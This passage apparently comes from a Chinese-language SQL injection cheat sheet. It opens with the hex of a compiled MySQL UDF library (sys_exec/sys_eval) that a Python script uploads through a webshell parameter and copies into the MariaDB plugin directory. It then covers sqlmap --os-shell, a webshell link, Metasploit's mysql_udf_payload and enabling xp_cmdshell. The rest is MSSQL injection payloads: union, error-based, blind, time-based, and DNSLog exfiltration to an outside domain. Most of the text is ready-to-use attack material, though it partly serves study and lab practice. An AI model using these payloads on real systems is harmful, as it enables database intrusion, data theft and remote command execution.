868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e8162000'));
'''}
requests.post(url, data=data)
data2 = {"1":"shell_exec('cp /var/www/html/a.so /usr/lib/mariadb/plugin/a.so');"}
requests.post(url,data=data2)
#将.so文件写入a.so 然后写入plugins目录下的a.so中

没有小马还是用sqlmap吧。。

1
2
python3 sqlmap.py -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
python3 sqlmap.py -d "mysql://root:@10.8.194.18:3306/mysql" --os-shell

php大🐎:

1
https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

msf:

1
2
3
4
msfconsole
search mysql_udf
use multi/mysql/mysql_udf_payload
show_options

MSSQL

注释符

1
2
3
4
5
6
-- -
+--+

;%00

/*..*/

全局变量

1
2
@@VERSION 数据库版本
@@SERVERNAME 运行SQL Server 的本地名称

常见函数

1
2
3
4
5
6
7
8
9
10
11
12
DB_NAME()
DB_NAME(n)
获取当前数据库名,如果有n代表获取其他数据库名

USER_NAME()
USER
system_user
current_user
获取用户在数据库中的名字

is_srvrolemember('x')
判断当前用户权限,x为sysadmin/db_owner/public中的一种s

类型转换

1
2
3
4
5
6
7
8
9
10
11
12
13
ASCII(str)
返回字符串最左端的字符的ASCII值

CHAR(str)
将ASCII转为字符

cast(16 as VARBINARY(50))
convert(VARBINARY(50), 16)
master.dbo.fn_varbintohexstr(16)
将16转换为16进制

STR(n)
将数值型数据转换为字符型数据

字符串操作函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
SUBSTRING(str, start, length)
返回str从start位置截取length个长度的字符串

LEFT(str, length)
返回str从最左端开始截取的length个字符

RIGHT(str, length)
返回str从最右端截取的length个字符

QUOTENAME(str[, quote_character])
返回被特定字符括起来的字符串

REPLICATE(str, times)
返回一个重复str指定次数的字符串

REVERSE(str)
将str的顺序反转

REPLACE(str1, str2, str3)
用str3替换在str1中的子串str2

SPACE(length)
返回一个有指定长度的空白字符串

STUFF(str, start, length, str2)
用str2替换字符串指定位置、长度的子串

CHARINDEX(substring, str)
返回字符串中的子串substring第一次出现的开始位置
str可为子串,也可为列名表达式
如果没有发现,就返回0
该函数不能用于TEXT和IMAGE类型的数据

PATINDEX(%substring%, column_name)
子串前后必须要有百分号,否则返回0
返回字符串中的某个指定的子串开始出现的位置
与charindex不同的是,这个函数的子串可以使用通配符,且可用于char varchar 和text类型

字符串拼接

1
2
3
4
5
6
7
8
9
CONCAT(text1, [text2...])
mssql 2012+

concat_ws(separator, argument1, argument2 [, argumentN]...)
SQL Server 2017(14.x) and later

select concat_ws(',', a, b, c, d) from xxx

在待拼接的字符串中加入指定的分隔符separator

条件函数

同mysql

1
2
3
if else

case when expr1 then expr2 else expr3 end

延时函数

1
2
WAITFOR DELAY '0:0:x'
休眠x秒

常用语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
select is_srvrolemember('sysadmin')
select is_srvrolemember('db_owner')
select is_srvrolemember('public')
查看数据库权限

select @@version;
获取数据库版本

select user;
用户名

select @@servername;
获取服务器主机名

select name from master..syslogins
获取所有用户

select db_name();
获取当前数据库

select db_name(n);
获取其他数据库,n=1,2,3,4...

select name from master.dbo.sysdatabases where dbid=x
获取其他数据库,x=1,2,3,4...

select name from master..sysdatabases;
获取所有数据库

select name from test..sysobjects where xtype='u'
获取第一张表

select top 1 name from 库名.dbo.sysobjects where xtype='U'
获取第二张表

select top 1 name from 库名.dbo.sysobjects where xtype ='U' and name not in ('第一张表')
第三张表

select top 1 name from 库名.dbo.sysobjects where xtype ='U' and name not in ('第一张表', '第二张表')

或者:
select table_name from test.information_schema.tables
可以不用加test,也支持跨库查,查出来使用视图的

select table_name from information_schema.tables where table_type not in ('view');
查出来去除视图的

select name from test..syscolumns where id = (select id from test..sysobjects where name = 'users')

或者
select column_name from test.information_schema.colums where table_name = 'users';

或者:
select top 1 col_name(object_id('users'),1) from sysobjects;

i 为第几个字段,int型
select top 1 col_name(object_id('users'),i) from sysobjects;
不支持跨库查询

select username, password from users
获取值

select * from master..sysobjects where name like 'sp%' order by name desc
查找存储过程

XP_CMDSHELL相关

1
(select count(*) FROM master.dbo.sysobjects where xtype = 'X' and name = 'xp_cmdshell')
1
2
3
4
5
6
7
8
9
10
11
执行系统命令
开启 xp_cmdshell 拓展存储过程
use master;
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

执行系统命令
use master;
exec master..xp_cmdshell "whoami";

注入手法

mssql的注入手法和mysql基本相似,但是mssql比mysql相对权限要更大

mssql靶场:

  • https://github.com/Larryxi/MSSQL-SQLi-Labs
  • https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

联合注入

一模一样

注意一下unionunion all就是了

  • union:对两个结果集进行并操作,不包括重复行,同时进行默认规则的排序
  • union all:包括重复行,不进行排序

确认字段:

1
order by x

回显位:

1
id = -1 union all select '1', '2', '3', '4'

需要用单引号括起来,如果直接用数字型的1 2 3 4,有些地方的类型会出现错误导致无法显示出来,建议使用'1'或者null

查询数据库权限和服务名:

1
id=-2 union all select '1',str(is_srvrolemember('sysadmin')),@@servername,'4'

这里如果是sysadmin就会回显1

查询数据库名和数据库用户:

1
2
3
4
-2 union all select '1',db_name(),user,'4'

也可以利用下面这个方法来查
id=-2 union all select '1',catalog_name,'3','4' from information_schema.schemata

查询其他数据库

1
2
3
4
5
id=-2 union all select '1',db_name(1),db_name(2),'4'

id=-2 union all select '1',name,'3','4' from master..sysdatabases -- master
id=-2 union all select '1',name,'3','4' from master..sysdatabases where name != 'master' -- model
id=-2 union all select '1',name,'3','4' from master..sysdatabases where name not in ('master','model') -- mozhe_db_v2

爆表,利用database_name..sysobjects

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#查询数据库的第一个表:
id=-2 union all select top 1 '1',name,'3','4' from sysobjects where xtype='u'
id=-2 union all select top 1 '1',name,'3','4' from mozhe_db_v2..sysobjects where xtype='u'
-- manage

#第二个表:
id=-2 union all select top 1 '1',name,'3','4' from sysobjects where xtype='u' and name not in ('manage')

#master数据库的第一个表:
id=-2 union all select top 1 '1',name,'3','4' from master..sysobjects where xtype='u'

#还可以和mysql一模一样:
select top 1 table_name from information_schema.tables

# 查询master库第一个表名
select top 1 table_name from master.information_schema.tables

database.information_schema.tables包含视图

database..sysobjects where xtype='U'只包含用户创建的表

查列名:

1
2
3
4
5
6
7
8
9
10
-2 union all select top 1 '1',name,'3','4' from syscolumns where id = (select id from sysobjects where name='manage') -- id

-2 union all select top 1 '1',name,'3','4' from syscolumns where id = (select id from sysobjects where name='manage') and name != 'id' -- username

-2 union all select top 1 '1',name,'3','4' from syscolumns where id = (select id from sysobjects where name='manage') and name not in ('id','username') -- password


#但是感觉不如:
-2 union all select top 1 '1',column_name,'3','4' from information_schema.columns where table_name = 'manage'
-2 union all select top 1 '1',column_name,'3','4' from mozhe_db_v2.information_schema.columns where table_name = 'manage'

查值:

1
-2 union all select '1',username,password,'4' from manage

和mysql是差不多的,注意一些语句的差异即可

报错注入

服务器开启了报错信息返回(也就是报错的时候返回错误信息)的时候适用

mssql的报错注入常出现在类型转换错误的情况下,常用函数convert()cast()> < = 除法等数学运算

查询数据库:

1
id = 1' and 1=convert(int, db_name())--+

convert原本是将日期转化为新数据类型的函数

但是对于convert(int, db_name()),convert函数会线执行第二个参数的sql查询结果,再尝试进行转换。

但是由于db_name()查询的结果是VARCHAR型结果,无法转成int,就会导致转换错误,抛出错误信息

cast()也有类似的效果,它会将一种数据类型的表达式转换成另外一种类型:

1
id = 1' and 1 = cast((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) as varchar)--+
1
cast(@@version as int)

除法:

在进行触发运算的时候,会尝试将db_name等参数转化为int,导致出错

1
select 1/db_name()

> < =等比较运算也是这样的:

1
2
3
select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users')) > 0--+
select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users')) = 0--+
select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users')) < 0--+
1
id = 1' and (select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) > 0 --+

除此之外还有一些特别的:

  • db_name(x)

报错原理是因为调用此函数的时候,它会将x转换为smallint类型,而查询出来的结果为nvarchar,因此会抛出异常:

1
id = 1' and 1 = db_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
  • file_name(x)

x具有int数据类型,同样地将nvarcharint导致的出错

1
id = 1' and 1 = file_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
  • filegroup_name(x)
1
id = 1' and 1 = file_groupname((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
  • col_name(table_id, column_id)
1
id = 1' and 1 = col_name(1, (selecct top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+
  • objectname()、type_name()、schema_name()、SUSER_NAME()、USER_NAME()、PERMISSIONS()

  • having 1=1爆表名

having需要和group by一起使用,若无group_by,则会直接爆出当前的表

1
id = 1' and having 1=1--+
  • group by having 1=1 爆列名
1
id = 1' group by username, id having 1=1--+

布尔盲注

与mysql流程一致

例如:

1
2
3
id=2 and len(db_name()) > 10 -- true
id=2 and len(db_name()) > 11 -- false
id=2 and len(db_name()) = 11 -- true

爆库:

1
2
id=2 and ascii(substring(db_name(),{},1)) < {}-- 这两个大括号填随机数,python用
-- 也可以不转成ascii直接比较

查看数据库有多少表

1
2
# 说明有2个表
id=2 and (select count(*) from sysobjects where xtype='U') = 2 -- true

查看第一张表的第一位:

1
2
# 第一位是m
id=2 and ascii(substring((select top 1 name from sysobjects where xtype='u'),1,1)) = 109 -- true

时间盲注

利用mssql专用的睡眠函数WAITFOR DELAY '0:0:x'

1
id = 2 waitfor delay '0:0:5'

实例:

1
id = 2 if(substring(db_name(),1,1)) = 'm' waitfor delay '0:0:5'

DNSLog

fn_xe_file_target_read_filefn_trace_gettable

限制就是需要控制服务器权限

1
2
3
4
5
6
7
8
9
-- 原文
exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'+(select db_name())+'.23c999e1.dns.1433.eu.org\1.xem',null,null))
-- URL编码后
id=2+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+db_name())%2b'.23c999e1.dns.1433.eu.org\1.xem',null,null))

-- 原文
exists(select * from fn_trace_gettable('\\'+(select db_name())+'.23c999e1.dns.1433.eu.org\1.trc',default))
-- URL编码后
id=2+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+db_name())%2b'.23c999e1.dns.1433.eu.org\1.trc',default))

堆叠注入

同mysql,mssql也支持多语句查询

1
id = 1;waitfor delay '0:0:5';

order by

同mysql类似,也是出现在排序中,同样地mssql的order by也是不能够利用预编译进行修复的,原因同mysql(order by 跟的是字段名而不是字符串,如果预编译之后就会将字段名转换为字符串,就报错啦~ 修复方式和mysql是一样的,加白名单)

1
2
order by name
order by id

检测方式:

  • 超大数抛异常:
1
order by 999
  • waitfor delay:
1
order by 1 if(1=1) waitfor delay '0:0:5'

有报错的情况下可以直接通过报错注入来获取:

1
order by convert(int, db_name)--+

无报错的情况下利用时间盲注:

1
order by 1 if(substring(db_name(),1,1)='m') waitfor delay '0:0:5'--+

二次注入

同mysql


参考资料: